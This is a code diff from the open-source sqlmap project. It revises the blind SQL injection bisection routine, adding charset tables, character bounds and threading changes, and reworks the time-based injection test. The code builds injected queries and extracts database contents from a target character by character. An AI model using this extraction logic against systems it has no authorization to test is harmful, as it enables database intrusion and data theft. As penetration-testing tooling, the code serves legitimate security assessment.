||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import threading
|
import threading
|
||||||
import time
|
import time
|
||||||
import traceback
|
import traceback
|
||||||
@@ -31,6 +29,7 @@ import traceback
|
|||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import dataToSessionFile
|
from lib.core.common import dataToSessionFile
|
||||||
from lib.core.common import dataToStdout
|
from lib.core.common import dataToStdout
|
||||||
|
from lib.core.common import getCharset
|
||||||
from lib.core.common import replaceNewlineTabs
|
from lib.core.common import replaceNewlineTabs
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
@@ -42,27 +41,45 @@ from lib.core.exception import unhandledException
|
|||||||
from lib.core.progress import ProgressBar
|
from lib.core.progress import ProgressBar
|
||||||
from lib.core.unescaper import unescaper
|
from lib.core.unescaper import unescaper
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
|
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None):
|
||||||
|
|
||||||
def bisection(payload, expression, length=None):
|
|
||||||
"""
|
"""
|
||||||
Bisection algorithm that can be used to perform blind SQL injection
|
Bisection algorithm that can be used to perform blind SQL injection
|
||||||
on an affected host
|
on an affected host
|
||||||
"""
|
"""
|
||||||
|
|
||||||
partialValue = ""
|
partialValue = ""
|
||||||
finalValue = ""
|
finalValue = ""
|
||||||
|
|
||||||
|
asciiTbl = getCharset(charsetType)
|
||||||
|
|
||||||
|
if "LENGTH(" in expression or "LEN(" in expression:
|
||||||
|
firstChar = 0
|
||||||
|
elif conf.firstChar is not None and ( isinstance(conf.firstChar, int) or ( isinstance(conf.firstChar, str) and conf.firstChar.isdigit() ) ):
|
||||||
|
firstChar = int(conf.firstChar) - 1
|
||||||
|
elif firstChar is None:
|
||||||
|
firstChar = 0
|
||||||
|
elif ( isinstance(firstChar, str) and firstChar.isdigit() ) or isinstance(firstChar, int):
|
||||||
|
firstChar = int(firstChar) - 1
|
||||||
|
|
||||||
|
if "LENGTH(" in expression or "LEN(" in expression:
|
||||||
|
lastChar = 0
|
||||||
|
elif conf.lastChar is not None and ( isinstance(conf.lastChar, int) or ( isinstance(conf.lastChar, str) and conf.lastChar.isdigit() ) ):
|
||||||
|
lastChar = int(conf.lastChar)
|
||||||
|
elif lastChar in ( None, "0" ):
|
||||||
|
lastChar = 0
|
||||||
|
elif ( isinstance(lastChar, str) and lastChar.isdigit() ) or isinstance(lastChar, int):
|
||||||
|
lastChar = int(lastChar)
|
||||||
|
|
||||||
if kb.dbmsDetected:
|
if kb.dbmsDetected:
|
||||||
_, _, _, _, fieldToCastStr = agent.getFields(expression)
|
_, _, _, _, _, _, fieldToCastStr = agent.getFields(expression)
|
||||||
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
|
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
|
||||||
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
|
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
|
||||||
expressionUnescaped = unescaper.unescape(expressionReplaced)
|
expressionUnescaped = unescaper.unescape(expressionReplaced)
|
||||||
else:
|
else:
|
||||||
expressionUnescaped = unescaper.unescape(expression)
|
expressionUnescaped = unescaper.unescape(expression)
|
||||||
|
|
||||||
infoMsg = "query: %s" % expressionUnescaped
|
debugMsg = "query: %s" % expressionUnescaped
|
||||||
logger.info(infoMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
if length and not isinstance(length, int) and length.isdigit():
|
if length and not isinstance(length, int) and length.isdigit():
|
||||||
length = int(length)
|
length = int(length)
|
||||||
@@ -70,15 +87,18 @@ def bisection(payload, expression, length=None):
|
|||||||
if length == 0:
|
if length == 0:
|
||||||
return 0, ""
|
return 0, ""
|
||||||
|
|
||||||
showEta = conf.eta and length
|
if lastChar > 0 and length > ( lastChar - firstChar ):
|
||||||
|
length = ( lastChar - firstChar )
|
||||||
|
|
||||||
|
showEta = conf.eta and isinstance(length, int)
|
||||||
numThreads = min(conf.threads, length)
|
numThreads = min(conf.threads, length)
|
||||||
threads = []
|
threads = []
|
||||||
|
|
||||||
if showEta:
|
if showEta:
|
||||||
progress = ProgressBar(maxValue=length)
|
progress = ProgressBar(maxValue=length)
|
||||||
progressTime = []
|
progressTime = []
|
||||||
|
|
||||||
if conf.verbose in ( 1, 2 ) and not showEta:
|
if conf.verbose >= 1 and not showEta:
|
||||||
if isinstance(length, int) and conf.threads > 1:
|
if isinstance(length, int) and conf.threads > 1:
|
||||||
infoMsg = "starting %d threads" % numThreads
|
infoMsg = "starting %d threads" % numThreads
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -89,33 +109,29 @@ def bisection(payload, expression, length=None):
|
|||||||
dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X"))
|
dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X"))
|
||||||
|
|
||||||
queriesCount = [0] # As list to deal with nested scoping rules
|
queriesCount = [0] # As list to deal with nested scoping rules
|
||||||
|
def getChar(idx, asciiTbl=asciiTbl):
|
||||||
|
maxValue = asciiTbl[len(asciiTbl)-1]
|
||||||
def getChar(idx):
|
|
||||||
maxValue = 127
|
|
||||||
minValue = 0
|
minValue = 0
|
||||||
|
|
||||||
while (maxValue - minValue) != 1:
|
while len(asciiTbl) != 1:
|
||||||
queriesCount[0] += 1
|
queriesCount[0] += 1
|
||||||
limit = ((maxValue + minValue) / 2)
|
position = (len(asciiTbl) / 2)
|
||||||
|
posValue = asciiTbl[position]
|
||||||
|
forgedPayload = payload % (expressionUnescaped, idx, posValue)
|
||||||
|
result = Request.queryPage(forgedPayload)
|
||||||
|
|
||||||
forgedPayload = payload % (expressionUnescaped, idx, limit)
|
if result:
|
||||||
|
minValue = posValue
|
||||||
result = Request.queryPage(forgedPayload)
|
asciiTbl = asciiTbl[position:]
|
||||||
|
|
||||||
if result == kb.defaultResult:
|
|
||||||
minValue = limit
|
|
||||||
else:
|
else:
|
||||||
maxValue = limit
|
maxValue = posValue
|
||||||
|
asciiTbl = asciiTbl[:position]
|
||||||
|
|
||||||
if (maxValue - minValue) == 1:
|
if len(asciiTbl) == 1:
|
||||||
# NOTE: this first condition should never occur
|
|
||||||
if maxValue == 1:
|
if maxValue == 1:
|
||||||
return None
|
return None
|
||||||
else:
|
else:
|
||||||
return chr(minValue + 1)
|
return chr(minValue + 1)
|
||||||
|
|
||||||
|
|
||||||
def etaProgressUpdate(charTime, index):
|
def etaProgressUpdate(charTime, index):
|
||||||
if len(progressTime) <= ( (length * 3) / 100 ):
|
if len(progressTime) <= ( (length * 3) / 100 ):
|
||||||
eta = 0
|
eta = 0
|
||||||
@@ -127,48 +143,40 @@ def bisection(payload, expression, length=None):
|
|||||||
progressTime.append(charTime)
|
progressTime.append(charTime)
|
||||||
progress.update(index)
|
progress.update(index)
|
||||||
progress.draw(eta)
|
progress.draw(eta)
|
||||||
|
|
||||||
|
|
||||||
if conf.threads > 1 and isinstance(length, int) and length > 1:
|
if conf.threads > 1 and isinstance(length, int) and length > 1:
|
||||||
value = [None] * length
|
value = [ None ] * length
|
||||||
index = [0] # As list for python nested function scoping
|
index = [ firstChar ] # As list for python nested function scoping
|
||||||
idxlock = threading.Lock()
|
idxlock = threading.Lock()
|
||||||
iolock = threading.Lock()
|
iolock = threading.Lock()
|
||||||
|
|
||||||
|
|
||||||
def downloadThread():
|
def downloadThread():
|
||||||
while True:
|
try:
|
||||||
idxlock.acquire()
|
while True:
|
||||||
|
idxlock.acquire()
|
||||||
|
|
||||||
if index[0] >= length:
|
if index[0] >= length:
|
||||||
|
idxlock.release()
|
||||||
|
|
||||||
|
return
|
||||||
|
|
||||||
|
index[0] += 1
|
||||||
|
curidx = index[0]
|
||||||
idxlock.release()
|
idxlock.release()
|
||||||
|
|
||||||
return
|
charStart = time.time()
|
||||||
|
val = getChar(curidx)
|
||||||
|
|
||||||
index[0] += 1
|
if val is None:
|
||||||
curidx = index[0]
|
raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length)
|
||||||
idxlock.release()
|
|
||||||
|
|
||||||
charStart = time.time()
|
value[curidx-1] = val
|
||||||
val = getChar(curidx)
|
|
||||||
|
|
||||||
if val == None:
|
if showEta:
|
||||||
raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length)
|
etaProgressUpdate(time.time() - charStart, index[0])
|
||||||
|
elif conf.verbose >= 1:
|
||||||
value[curidx-1] = val
|
s = "".join([c or "_" for c in value])
|
||||||
|
iolock.acquire()
|
||||||
if showEta:
|
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
|
||||||
etaProgressUpdate(time.time() - charStart, index[0])
|
iolock.release()
|
||||||
elif conf.verbose in ( 1, 2 ):
|
|
||||||
s = "".join([c or "_" for c in value])
|
|
||||||
iolock.acquire()
|
|
||||||
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
|
|
||||||
iolock.release()
|
|
||||||
|
|
||||||
|
|
||||||
def downloadThreadProxy(numThread):
|
|
||||||
try:
|
|
||||||
downloadThread()
|
|
||||||
|
|
||||||
except (sqlmapConnectionException, sqlmapValueException), errMsg:
|
except (sqlmapConnectionException, sqlmapValueException), errMsg:
|
||||||
conf.threadException = True
|
conf.threadException = True
|
||||||
@@ -192,11 +200,9 @@ def bisection(payload, expression, length=None):
|
|||||||
errMsg = unhandledException()
|
errMsg = unhandledException()
|
||||||
logger.error("thread %d: %s" % (numThread + 1, errMsg))
|
logger.error("thread %d: %s" % (numThread + 1, errMsg))
|
||||||
traceback.print_exc()
|
traceback.print_exc()
|
||||||
|
|
||||||
|
|
||||||
# Start the threads
|
# Start the threads
|
||||||
for numThread in range(numThreads):
|
for numThread in range(numThreads):
|
||||||
thread = threading.Thread(target=downloadThreadProxy(numThread))
|
thread = threading.Thread(target=downloadThread)
|
||||||
thread.start()
|
thread.start()
|
||||||
threads.append(thread)
|
threads.append(thread)
|
||||||
|
|
||||||
@@ -208,7 +214,7 @@ def bisection(payload, expression, length=None):
|
|||||||
# can mean that the connection to the target url was lost
|
# can mean that the connection to the target url was lost
|
||||||
if None in value:
|
if None in value:
|
||||||
for v in value:
|
for v in value:
|
||||||
if isinstance(v, str) and v != None:
|
if isinstance(v, str) and v is not None:
|
||||||
partialValue += v
|
partialValue += v
|
||||||
|
|
||||||
if partialValue:
|
if partialValue:
|
||||||
@@ -221,18 +227,18 @@ def bisection(payload, expression, length=None):
|
|||||||
if isinstance(finalValue, str) and len(finalValue) > 0:
|
if isinstance(finalValue, str) and len(finalValue) > 0:
|
||||||
dataToSessionFile(replaceNewlineTabs(finalValue))
|
dataToSessionFile(replaceNewlineTabs(finalValue))
|
||||||
|
|
||||||
if conf.verbose in ( 1, 2 ) and not showEta and infoMsg:
|
if conf.verbose >= 1 and not showEta and infoMsg:
|
||||||
dataToStdout(infoMsg)
|
dataToStdout(infoMsg)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
index = 0
|
index = firstChar
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
index += 1
|
index += 1
|
||||||
charStart = time.time()
|
charStart = time.time()
|
||||||
val = getChar(index)
|
val = getChar(index, asciiTbl)
|
||||||
|
|
||||||
if val == None:
|
if val is None or ( lastChar > 0 and index > lastChar ):
|
||||||
break
|
break
|
||||||
|
|
||||||
finalValue += val
|
finalValue += val
|
||||||
@@ -241,10 +247,10 @@ def bisection(payload, expression, length=None):
|
|||||||
|
|
||||||
if showEta:
|
if showEta:
|
||||||
etaProgressUpdate(time.time() - charStart, index)
|
etaProgressUpdate(time.time() - charStart, index)
|
||||||
elif conf.verbose in ( 1, 2 ):
|
elif conf.verbose >= 1:
|
||||||
dataToStdout(val)
|
dataToStdout(val)
|
||||||
|
|
||||||
if conf.verbose in ( 1, 2 ) or showEta:
|
if conf.verbose >= 1 or showEta:
|
||||||
dataToStdout("\n")
|
dataToStdout("\n")
|
||||||
|
|
||||||
if ( conf.verbose in ( 1, 2 ) and showEta and len(str(progress)) >= 64 ) or conf.verbose >= 3:
|
if ( conf.verbose in ( 1, 2 ) and showEta and len(str(progress)) >= 64 ) or conf.verbose >= 3:
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
@@ -22,26 +22,22 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import time
|
import time
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
|
from lib.core.common import getDelayQuery
|
||||||
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.data import queries
|
|
||||||
from lib.core.settings import SECONDS
|
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
|
|
||||||
|
|
||||||
def timeTest():
|
def timeTest():
|
||||||
infoMsg = "testing time based blind sql injection on parameter "
|
infoMsg = "testing time based blind sql injection on parameter "
|
||||||
infoMsg += "'%s' with AND condition syntax" % kb.injParameter
|
infoMsg += "'%s' with AND condition syntax" % kb.injParameter
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
timeQuery = queries[kb.dbms].timedelay % SECONDS
|
timeQuery = getDelayQuery(andCond=True)
|
||||||
|
|
||||||
query = agent.prefixQuery(" AND %s" % timeQuery)
|
query = agent.prefixQuery(" AND %s" % timeQuery)
|
||||||
query = agent.postfixQuery(query)
|
query = agent.postfixQuery(query)
|
||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query)
|
||||||
@@ -49,7 +45,7 @@ def timeTest():
|
|||||||
_ = Request.queryPage(payload)
|
_ = Request.queryPage(payload)
|
||||||
duration = int(time.time() - start)
|
duration = int(time.time() - start)
|
||||||
|
|
||||||
if duration >= SECONDS:
|
if duration >= conf.timeSec:
|
||||||
infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
|
infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
|
||||||
infoMsg += "based blind sql injection with AND condition syntax"
|
infoMsg += "based blind sql injection with AND condition syntax"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -65,11 +61,12 @@ def timeTest():
|
|||||||
infoMsg += "'%s' with stacked query syntax" % kb.injParameter
|
infoMsg += "'%s' with stacked query syntax" % kb.injParameter
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
start = time.time()
|
timeQuery = getDelayQuery(andCond=True)
|
||||||
payload, _ = inject.goStacked(timeQuery)
|
start = time.time()
|
||||||
duration = int(time.time() - start)
|
payload, _ = inject.goStacked(timeQuery)
|
||||||
|
duration = int(time.time() - start)
|
||||||
|
|
||||||
if duration >= SECONDS:
|
if duration >= conf.timeSec:
|
||||||
infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
|
infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
|
||||||
infoMsg += "based blind sql injection with stacked query syntax"
|
infoMsg += "based blind sql injection with stacked query syntax"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -83,3 +80,10 @@ def timeTest():
|
|||||||
kb.timeTest = False
|
kb.timeTest = False
|
||||||
|
|
||||||
return kb.timeTest
|
return kb.timeTest
|
||||||
|
|
||||||
|
def timeUse(query):
|
||||||
|
start = time.time()
|
||||||
|
_, _ = inject.goStacked(query)
|
||||||
|
duration = int(time.time() - start)
|
||||||
|
|
||||||
|
return duration
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
|||||||
@@ -5,8 +5,8 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user